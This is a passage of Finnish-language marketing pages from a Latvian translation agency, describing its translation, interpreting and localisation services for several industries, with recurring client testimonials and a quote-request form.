kohdekielellä. Noudatamme tiukasti muotoilu- ja laatimisvaatimuksia kääntäessämme lakitekstejä ja asiakirjoja. Luottamuksellisuus on ensisijainen tavoitteemme, kun työskentelemme minkä tahansa alan tekstien ja asiakkaiden kanssa. Meillä on ISO 27001- ja ISO 9001 -sertifikaatit. Olemme ylpeitä ja kiitollisia aktiivisesta yhteistyöstä eri hallinto- ja kuntalaitosten, EU-virastojen ja tunnettujen asianajotoimistojen kanssa. TARJOAMME SEURAAVIA PALVELUITA LAKIALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELIYHDISTELMILLÄ: lakien, asetusten ja niiden luonnosten käännökset; sopimusten ja hankkeiden käännökset; tuomioistuimen päätösten ja oikeuskäytännön käännökset; ilmoitusten, vaatimusten ja hakemusten käännökset; valtakirjojen käännökset; asiantuntijalausuntojen ja päätelmien käännökset; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien oikeudenkäyntimenettelyt sekä simultaanitulkkaus viittomakielelle; ulkomaisten edustajien assistenttipalvelut; ja muut kieliratkaisut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE. OLEMME VALMIIT ALLEKIRJOITTAMAAN LUOTTAMUKSELLISUUTTA KOSKEVAN SOPIMUKSEN ENNEN YHTEISTYÖN ALOITTAMISTA. Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaat ratkaisut konepaja- ja rautatiealalle: käännökset, tulkkaukset, notaarin oikeaksi todistamat käännökset, lokalisointi ja kielikoulutus - Published: 2022-06-16 - Modified: 2024-10-21 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Tarkkuus ja täsmällisyys ovat yksi tärkeimpiä ominaisuuksia kone- ja rautatieteollisuudessa. Tiedät jo varmasti, ettei poikkeamia voi olla, ja että tarvitset kumppanin, joka hoitaa velvollisuutensa äärimmäisen vastuullisesti. Kun näiden alojen globaali merkitys, monimuotoisuus ja korkea lisäarvo otetaan myös huomioon, jopa yhteistyökumppanit tarvitsevat perusteellista tietoa ja kokemuksia. Käytämme aina uusinta teknologiaa varmistaaksemme työmme laadun ja tuottavuuden päivittäin, ja olemme täällä tukemassa sinua menestyksen tiellä! Yli 20 vuoden aikana Skrivanekin kieliasiantuntijat ovat toteuttaneet lukuisia käännöksiä ja lokalisointiprojekteja kone- ja rautatieteollisuuden alalle. Olemme myös aktiivisesti mukana koko Baltian kattavan rautateiden infrastruktuurin kehittämishankkeen käynnistämisessä. Voimme varmuudella sanoa, että meillä on laaja kokemus ja tarvittava tekninen tietämys näillä teollisuudenaloilla, ja että olemme tiukkoja määräajoista. Tarvitsetpa kirjallista käännöstä tai tulkkauspalveluja eri liiketapaamisiin, Skrivanekin tiimi auttaa sinua. Skrivanekin kieliasiantuntijat suorittavat meille uskottujen materiaalien laadukkaat käännökset, mukaan lukien yritysjulkaisut, sopimukset, tarjouspyynnöt ja spesifikaatiot, erilaiset markkinointitekstit ja muut tekstit, joille tarvitset käännöstä. Kieliasiantuntijoidemme tiimiin kuuluu filologisen koulutuksen saaneiden henkilöiden lisäksi myös taustaltaan insinööritieteiden osaajia, mikä on ratkaisevaa oikean terminologian käytön varmistamiseksi. Olipa kyseessä sitten metallien tuotanto ja prosessointi, koneiden ja koneen osien valmistus, ajoneuvojen valmistus, mukaan lukien autot ja perävaunut, järjestelmäilmoitukset, laitteiden korjaus, sähkö- ja optisten laitteiden valmistus tai muu rautatieteollisuuteen, suunnitteluun ja metallinjalostukseen liittyvä – asiantuntijoillamme on korkealaatuisia käännöksiä varten tarvittavat tiedot. TARJOAMME SEURAAVIA KIELIRATKAISUJA KONE- JA RAUTATIETEOLLISUUDEN ALOILLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: tuotekuvausten kääntäminen ja lokalisointi; asennus- ja käyttöoppaiden sekä järjestelmäilmoitusten kääntäminen; liikekirjeenvaihdon kääntäminen asianmukaisella terminologialla; mainostekstien, markkinointimateriaalien ja vuosikertomusten kääntäminen; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien seminaarit, konferenssit ja liiketapaamiset; eritasoiset ja intensiiviset kielikurssit; DTP – taittoratkaisut materiaalien oikeaan muotoiluun; sekä muut palvelut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita kieliratkaisuja matkailualalle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Tutustu tarkemmin! - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Matkailuala kasvaa ja kehittyy yhä nopeammin, ja kaikki tämän alan edustajat haluavat kommunikoida mahdollisimman monella kielellä. Olet matkailun ammattilainen, joka tietää parhaan tavan lähestyä matkailijoita, kun taas me olemme kielen ammattilaisia, jotka voimme kääntää sanomasi yli 110 kielelle. Erilaisia matkailumarkkinointi- ja mainosmateriaaleja pidetään yhtenä maailman käännetyimmistä tekstityypeistä. Laadulla on merkitystä. Haluatko lokalisoida hotellisi verkkosivun? Haluatko kääntää matkailuesitteen? Tai ehkä haluat mukauttaa ravintolasi menua ulkomaalaisille vieraille? Tarjoamme muutakin kuin käännöksiä. Skrivanekin kielen asiantuntijat ovat tarjonneet korkealaatuisia kieliratkaisuja matkailualalle jo 20 vuotta – emme ainoastaan käännä tekstejä, vaan mukautamme ne kunkin maan kulttuuriin. Voimme luvata, että asiakkaasi tulevat ymmärtämään sinua. Tarvitsetpa kirjallista käännöstä tai tulkkauspalveluja eri konferensseihin tai kansainvälisille messuille, Skrivanekin tiimi auttaa sinua löytämään sopivimman ratkaisun. Skrivanekin tiimi koostuu kääntäjistä ja tulkeista, joilla ei ole ainoastaan filologista koulutusta, vaan myös laajat tiedot historiasta, arkkitehtuurista, taiteista, muodista, musiikista ja gastronomiasta. Siksi olemme paras valinta sinulle. Hotelli- ja ravintolapalvelut, matkailumajoitus, matkojen järjestäminen, ulkomailla sijaitsevien kaupunkien ja kuntien esittely – meiltä löydät alan ammattilaisia ja varmistat, että käännöksesi ovat korkealaatuisia. TARJOAMME SEURAAVIA PALVELUJA MATKAILUALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: mainos- ja markkinointimateriaalien (esitteet, lehtiset ja katalogit) kääntäminen sekä taittopalvelut; verkkosivujen kääntäminen ja lokalisointi; lomaesitteiden ja matkaoppaiden kääntäminen; äänioppaiden ja videotiedostojen lokalisointi; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien kansainväliset messut, suurten turistiryhmien majoitus, seminaarit ja konferenssit; kaikki muut kielipalvelut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Kieliratkaisut valtion ja kuntien laitoksille: kääntäminen, tulkkaus, notaarin oikeaksi todistamat käännökset ja kielikoulutus. - Published: 2022-06-16 - Modified: 2024-06-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Julkisen sektorin laitokset uskovat nopeaan viestintään sekä työntekijöiden kesken että ulkomaisten kumppanien ja kansalaisten kanssa. Selkeästi ja oikea-aikaisesti toimitetut tiedot helpottavat hallituksen ja kunnallisten laitosten työtä. Tästä syystä hyödyt yhteistyöstä Skrivanekin kanssa. 25-vuotisen toimintamme aikana olemme luoneet vahvan, pitkäaikaisen yhteistyön valtion laitosten kanssa, kuten useat Latvian tasavallan ministeriöt, valtionkanslia, hallintotuomioistuin ja syyttäjänvirasto sekä muut valtiolliset ja kunnalliset laitokset, joiden toiminnassa kaikki tieto ei ole julkista. Skrivanek Balticin kielikoulu valmisteli Latvian puheenjohtajakauden virkamiehiä Euroopan unionin neuvostossa. Osallistumme säännöllisesti tarjouskilpailuihin ja vastaamme tarjouspyyntöihin hyvällä menestyksellä. Jotta tiedot varmasti saavuttavat kohdeyleisön, niiden on oltava täsmällisiä, oikea-aikaisia ja useilla kielillä ja muodoissa. Skrivanekin kääntäjät voivat toteuttaa erimuotoisia käännöksiä hallintajärjestelmistä, laadunhallinnasta, IT-järjestelmien toiminnan varmistamisesta sekä yhteistyöstä ja viestinnästä EU:n toimielinten kanssa. Kieliasiantuntijamme voivat myös edistää matkailun kehittämistä kunnassasi tarjoamalla laadukkaita informatiivisen materiaalin käännöksiä eri matkailukohteista, sekä edistää alueellista liiketoimintaa valmistelemalla materiaaleja, joiden on tarkoitus houkutella ulkomaisia sijoittajia. Julkiseen viestintään tarjoamme erilaisia tulkkauspalveluita. Laajan kokemuksemme ansiosta voimme keskittyä organisaatiosi päivittäisen toiminnan varmistamiseen. Kun haluat arvioida potentiaalisten työntekijöidesi kielitaitoa, löydät tarvitsemasi erityisesti siihen tarkoitetusta FOCUS-arviointijärjestelmästä. Lisäksi asiantuntijamme voivat auttaa sinua haastatteluprosessissa kielitaidon tason arvioimiseksi. TARJOAMME SEURAAVIA PALVELUJA HALLITUKSILLE JA KUNNALLISILLE LAITOKSILLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELIYHDISTELMILLÄ: verkkosivujen lokalisointi ja erilaisten informatiivisten materiaalien ja esitysten kääntäminen; kielitaitojen online-arviointityökalu FOCUS; erilaisten tapahtumien ja yleisöviestinnän konsekutiivi- ja simultaanitulkkaus; eritasoiset kielikurssit kaikille tietotasoille; sopimusten, lakien ja juridisten asiakirjojen kääntäminen; muut palvelut, joita laitoksesi saattaa tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita ratkaisuja rakennusteollisuudelle: kääntäminen, tulkkaus, notaarin varmentaminen. Lokalisointi ja kielikoulutus. Lue lisää! - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Rakennusalalla työskentelevänä tiedät, kuinka tärkeää tarkkuus ja määräajat ovat. Olet ammattilainen, jolla ei ole varaa poikkeamiin, koska ymmärrät, miten merkittäviä pienimmätkin yksityiskohdat. Siksi on tärkeää, että myös kumppanisi ovat yhtä vastuullisia. Skrivanek tarjoaa tarkkoja ja teknisesti päteviä käännöksiä, tulkkausta ja muita kieliratkaisuja rakennusyrityksille, ja on erittäin tunnollinen aikataulujen osalta. Tiimimme koostuu kieliammattilaisista, joilla on taustatietoa ja tietämystä rakentamiseen liittyvistä asioista, kun taas kokeneet projektipäällikkömme tekevät parhaansa varmistaakseen sujuvan työprosessin jopa vaikeimmissa hankkeissa. Tarvitsitpa kirjallista käännöstä tai tulkkauspalvelua liiketapaamiseen, Skrivanekin kieliasiantuntijat varmistavat kaikkien käännösten laadukkaat tulokset, mukaan lukien yritysjulkaisut, tarjouskilpailuasiakirjat, erilaiset markkinointimateriaalit, tekniset projektiasiakirjat ja kaikki muut käännettävät tekstit. Kieliasiantuntijoidemme tiimiin kuuluu filologisen koulutuksen saaneiden henkilöiden lisäksi myös taustaltaan insinööritieteiden osaajia, mikä on ratkaisevaa oikean terminologian käytön varmistamiseksi. Rakennustyöt, tienrakentaminen, erilaiset erikoisalan sisärakennustyöt, sähköasentaminen, arkkitehtipalvelut tai mitkä tahansa muut rakennustyöt – kiinnitämme huomiota kaikkiin yksityiskohtiin, sillä se on ainoa tapa varmistaa, että käännökset ovat teknisesti tarkkoja ja standardien mukaisia. SKRIVANEK TARJOAA SEURAAVIA PALVELUJA RAKENNUSTEOLLISUUDEN ALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: tarjouskilpailun eri vaiheiden teknisten asiakirjojen kääntäminen; erilaisten markkinointimateriaalien, kuten myyntimateriaalien, tuoteselosteiden ja esitteiden kääntäminen digitaalisessa ja painetussa muodossa; piirustusten ja asettelujen kääntäminen ja muotoilu, mukaan lukien DTP-ratkaisut; rakennusalan sopimusten, asetusten ja lisenssien kääntäminen; arviointien ja todistusten kääntäminen; arkkitehtuurialan käännökset; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien konferenssit, liikelounaat ja -päivälliset sekä liiketapaamiset; ja muut kieliratkaisut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaat kieliratkaisut maa- ja metsätaloudelle: kääntäminen, tulkkaus, notaarin varmentaminen. Lokalisointi ja kielikoulutus. Lue lisää! - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Maa- ja metsätalousala ovat oleellisia Latvian taloudelle, mutta niiden kehittyminen on mahdotonta ilman rajat ylittävää yhteistyötä. Kielimuurin ylittävä viestintä on yksi menestyksekkään liiketoiminnan kehittämisen edellytyksistä. Skrivanekin kieliasiantuntijat auttavat sinua kommunikoimaan asiakkaiden, kumppaneiden ja Euroopan unionin toimielinten kanssa, jotta voit vapaasti keskittyä ydintoimintaasi. Kääntäjillämme ja tulkeillamme on laaja kokemus kaikentyyppisten asiakirjojen kääntämisestä sekä tulkkaamisesta, sisältäen laajoja kansainvälisiä hankkeita. Lisäksi asiantuntijoidemme maataloustietämys takaa, että käännöksemme ovat paikkansapitäviä ja noudattavat erilaisten maatalous- ja metsäkoneiden käsikirjojen terminologiaa ja ohjeita viljelykasvien oikeaoppiseen viljelyyn alueellamme. Skrivanekin kieliasiantuntijoiden tiimi on riittävän suuri, jotta voimme löytää sopivimman asiantuntijan juuri sinun tarpeisiisi. Maanviljely, karjankasvatus, siipikarjankasvatus, siankasvatus, lampaankasvatus, kasvien viljely, valikoiva jalostus, metsätaloustiede ja maatalouden parantaminen ovat kieliasiantuntijoidemme erikoisaloja. Tästä syystä olemme usein yhteistyökumppanivalinta hallituksen ja kunnan organisaatioille ja näillä toimialoilla toimiville yrityksille. TARJOAMME SEURAAVIA KIELIRATKAISUJA MAA- JA METSÄTALOUSALALLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: teknisten normien ja asiakirjojen kääntäminen; tuotteiden ja teollisuuslaitteiden kuvausten kääntäminen; tieteellisten artikkelien ja tutkimusten kääntäminen; koneiden huolto- ja käyttöohjeiden kääntäminen; erilaisten lisenssien, lupien ja muiden asiakirjojen kääntäminen; EU-direktiivien selitykset ja selvennökset; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien konferenssit, seminaarit, kokemustenvaihto ja liiketapaamiset; ja muut kieliratkaisut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaat, lääketieteen alaan liittyvät palvelut: kääntäminen, tulkkaus, notaarin oikeaksi todistamat käännökset, lokalisointi ja kielikoulutus. - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional Lääketieteen ja kliinisen tutkimuksen alan käännökset ovat vaativia, eikä niissä saa esiintyä minkäänlaisia poikkeamia. Tarkastamme kaikki lääketieteen alalle tarkoitetut tekstit useita kertoja varmistaaksemme, että ne ovat tarkkoja ja yksiselitteisiä. Lääketieteelliset tekstit ovat yksi vaikeimmista käännöstyypeistä, joten ne kuuluvat sertifioiduille asiantuntijoille. Skrivanekin lääketieteellisten tekstien kääntäjätiimi koostuukin lääkäreistä ja henkilöistä, joilla on korkea lääketieteellinen koulutus, filologian kokemusta ja erinomainen äidinkielen taito. Lääketieteellisten tekstien parissa työskennellessään kääntäjät ja toimittajat ovat täysin tietoisia vastuusta, joka syntyy virheellisistä tai huolimattomista käännöksistä. Skrivanekin kieliasiantuntijat varmistavat tekstin tarkkuuden ja ovat tiukkoja määräajoista. Meillä on ISO 27001- ja ISO 17100 -sertifikaatit. Lisäksi takaamme, ettemme paljasta meille luovuttamiasi tietoja kolmansille osapuolille. Jos tarvitset käännöksiä erilaisista markkinointiesitteistä, potilastiedoista, kliinisen tutkimuksen dokumentaatiosta ja muista kirjallisista materiaaleista tai jos etsit tulkkauspalveluja konferensseihin tai muihin tapahtumiin, Skrivanek on sinua varten ja takaa parhaat tulokset. OLEMME YLPEITÄ YHTEISTYÖSTÄMME TUNNETTUJEN LÄÄKETIETEEN JA KLIINISEN TUTKIMUKSEN ALAN YRITYSTEN JA ORGANISAATIOIDEN KANSSA. TARJOAMME SEURAAVIA RATKAISUJA KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: lääketieteellisten asiakirjojen (epikriisit, kliiniset yhteenvedot, potilaskertomukset, laboratoriotutkimukset, lääkäreiden mielipiteet, jne. ) ja kliinisten tutkimusten kääntäminen; farmaseuttisten asiakirjojen (lääkekuvaukset, erilaiset lääkäreiden ja potilaiden tietolomakkeet, laadunvalvonta-asiakirjat, jne. ) kääntäminen; lääkinnällisten laitteiden asiakirjojen (käyttöohjeet, laitteiden kuvaukset, jne. ) kääntäminen; tieteellisten artikkelien ja lääketieteeseen ja lääketeollisuuteen erikoistuneiden verkkosivujen kääntäminen ja lokalisointi; piirustusten ja asettelujen muotoilu, mukaan lukien DTP-ratkaisut; simultaani- tai konsekutiivitulkkaus konferensseissa ja seminaareissa, viestinnässä potilaiden kanssa sekä simultaanitulkkaus viittomakielellä potilasviestinnässä; sekä kaikki muut kieliratkaisut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Laadukkaita ratkaisuja valmistusteollisuudelle: kääntäminen, tulkkaus, lokalisointi ja kielikoulutus. Lue lisää! - Published: 2022-06-16 - Modified: 2024-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Vain vahvat yritykset, jotka valitsevat huolellisesti kumppaninsa, voivat saavuttaa korkeimman mahdollisimman suorituskyvyn tuotantoalalla. Riippumatta siitä, valmistatko elintarviketuotteita vai tekstiilejä tai muita kulutustavaroita, jatkuva ja tehokas viestintä toimittajien, asiakkaiden ja kumppanien kanssa on välttämätöntä. Skrivanek avustaa valmistusyhtiötäsi viestinnässä vierailla kielillä, mikä edistää kasvua sekä kotimaisilla markkinoilla että vientimarkkinoilla. Tiedämme, että sinulla on suuria tavoitteita ja mahdollisuuksia – hyvin valitut sanat auttavat niiden toteuttamisessa! Halusitpa sitten kääntää tekstiä, lokalisoida verkkosivun, saada apua DTP-tiimiltämme tai vastaanottaa tulkkauspalveluja eri kokouksissa tai konferensseissa, Skrivanek ei petä sinua. Olemme ylpeitä ollessamme asiakkaan valinta, aina pienistä tehtaista strategisesti merkittäviin laitoksiin asti. Hyödynnä kieliratkaisujamme jo tänään! Kieliasiantuntijoillamme on kokemusta kääntämisestä valmistavan teollisuuden tarpeisiin. Koska käytämme uusinta käännösteknologiaa, voit olla varma, että myös suuret määrät tekstiä valmistuvat pikaisesti. Kaikkia tilauksia koordinoivat kokeneet projektipäälliköt, jotka valvovat hankkeiden toteutusta alusta loppuun asti. Riippumatta siitä, tarvitsetko käännöstä sopimuksille, yrityksesi verkkosivulle, markkinointimateriaaleille tai teknisille asiakirjoille vai oletko menossa seuraamaan vieraalla kielellä pidettävää konferenssia, kansainvälinen kääntäjien ja tulkkien tiimimme on valmiina auttamaan sinua. TARJOAMME SEURAAVIA KIELIRATKAISUJA VALMISTAVALLE TEOLLISUUDELLE KAIKILLA SUOSITUIMMILLA EUROOPPALAISILLA KIELILLÄ: erilaisten markkinointimateriaalien, kuten myyntimateriaalien, esitteiden, tuoteselosteiden jne. kääntäminen sekä DTP digitaalisessa ja painetussa muodossa; ohjeiden ja laitteiden kuvausten lokalisointi; tuotekuvausten ja etikettien kääntäminen; teknisten kuvausten ja eritelmien kääntäminen; käyttöohjeiden ja teknisten sertifikaattien kääntäminen; eri tapahtumien simultaani- tai konsekutiivitulkkaus, mukaan lukien konferenssit, seminaarit ja liiketapaamiset; ulkomaisten edustajien assistenttipalvelut; sekä muut palvelut, joita saatat tarvita. KUUNTELEMME SINUA, JAAMME KOKEMUKSEMME JA VALMISTELEMME ERIKOISTARJOUKSEN JUURI SINULLE Lähetä tiedustelu Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Yleis- ja erikoiskäännökset norjan kielellä. Tulkkaus, lokalisointi ja muut norjan kielen ratkaisut. Ota meihin yhteyttä! - Published: 2022-06-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää 